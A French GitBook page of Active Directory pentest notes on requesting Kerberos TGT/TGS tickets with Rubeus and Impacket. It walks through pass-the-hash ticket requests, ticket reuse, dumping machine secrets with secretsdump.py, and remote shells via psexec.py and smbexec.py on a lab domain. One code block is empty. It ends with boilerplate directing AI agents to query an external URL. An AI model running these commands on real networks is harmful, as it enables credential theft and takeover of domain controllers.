# Demander TGT / TGS
Notes de sécurité Active Directory pour demander TGT / TGS, couvrant l'énumération, Kerberos, les identifiants, l'abus des ACL, le mouvement latéral, le flux de travail d'exploitation et les étapes de validation.
`Rubeus` permet également de communiquer directement avec le KDC pour demander des tickets.
```bash
.\Rubeus.exe asktgt /domain.whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86
```
Ici, nous récupérons le TGT du compte ainsi que sa clé de session.
Nous pouvons ensuite interroger manuellement un ticket de service.

```
{% endcode %}
Nous avons maintenant un ticket valide pour le `cifs` service.
{% code overflow="wrap" %}
```
klist
```
{% endcode %}
Sous Linux, nous pouvons faire la même chose avec les outils Kerberos d'Impacket.
{% code overflow="wrap" %}
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
{% endcode %}
Le cache Kerberos est ensuite chargé dans la variable d'environnement `KRB5CCNAME` d'environnement.
{% code overflow="wrap" %}
```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```
{% endcode %}
Nous pouvons ensuite réutiliser ce ticket avec `secretsdump.py`.
{% code overflow="wrap" %}
```bash
secretsdump.py whoami.local/administrador@ws01.whoami.local -k -no-pass
```
{% endcode %}
Ici, les secrets de la machine sont bien extraits.
Nous pouvons aussi nous connecter avec `psexec.py`.
{% code overflow="wrap" %}
```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```
{% endcode %}
Cette commande nous donne un shell distant.
Autre variante possible : `smbexec.py`.
{% code overflow="wrap" %}
```bash
smbexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```
{% endcode %}
Pour interroger directement un ticket de service, nous pouvons aussi utiliser `getST.py`.
{% code overflow="wrap" %}
```bash
getST.py -spn cifs/DC01.whoami.local -no-pass -k whoami.local/administrador
```
{% endcode %}
Nous obtenons alors un ticket de service réutilisable.

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/ask-tgt-tgs.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
